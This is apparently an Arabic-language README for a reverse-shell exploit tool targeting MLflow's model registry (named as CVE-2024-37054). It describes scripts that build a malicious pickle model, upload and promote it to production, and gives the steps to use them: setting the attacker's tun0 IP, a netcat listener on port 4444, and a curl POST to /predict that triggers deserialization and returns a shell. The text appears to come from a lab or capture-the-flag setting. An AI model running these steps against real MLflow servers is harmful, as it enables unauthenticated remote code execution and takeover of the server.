الأدوات والملفات

الملف	الغرض
`generate_model.py`	ينشئ `model.pkl` خبيث مع حمولة شل عكسية
`upload_model.py`	يرفع pickle إلى MLflow ويُرقيه إلى الإنتاج
`sample.csv`	ملف CSV يُستخدم لتشغيل نقطة النهاية `/predict`

الاستخدام

1. إنشاء الـ pickle الخبيث

قم بتعديل generate_model.py واضبط عنوان IP الخاص بـ tun0:

python3 generate_model.py

2. تشغيل مستمع

nc -lvnp 4444

3. رفع النموذج الخبيث

قم بتعديل upload_model.py:

اضبط MLFLOW إلى http://127.0.0.1:5000
اضبط MODEL_NAME إلى اسم النموذج النشط الموجود في النطاق الرئيسي

python3 upload_model.py

4. تشغيل التنفيذ

احصل على كعكة جلسة جديدة من تطبيق العميل، ثم:

curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

يتم استقبال الشل على المستمع الخاص بك.

الثغرة الرئيسية

إلغاء تسلسل Pickle عبر سجل نماذج MLflow

يقوم MLflow بتحميل النماذج المسجلة باستخدام pickle.load() في بايثون. من خلال رفع pickle مصمم كقطعة أثرية لنموذج وترقيته إلى الإنتاج، فإن أي استدعاء لاحق لنقطة النهاية /predict سيؤدي إلى إلغاء تسلسل الحمولة على جانب الخادم، مما يحقق تنفيذ أوامر عن بُعد (RCE) غير مصادق عليه كمستخدم التطبيق.

CVE-2024-37054-MLflow-reverse-shell

الأكثر شعبية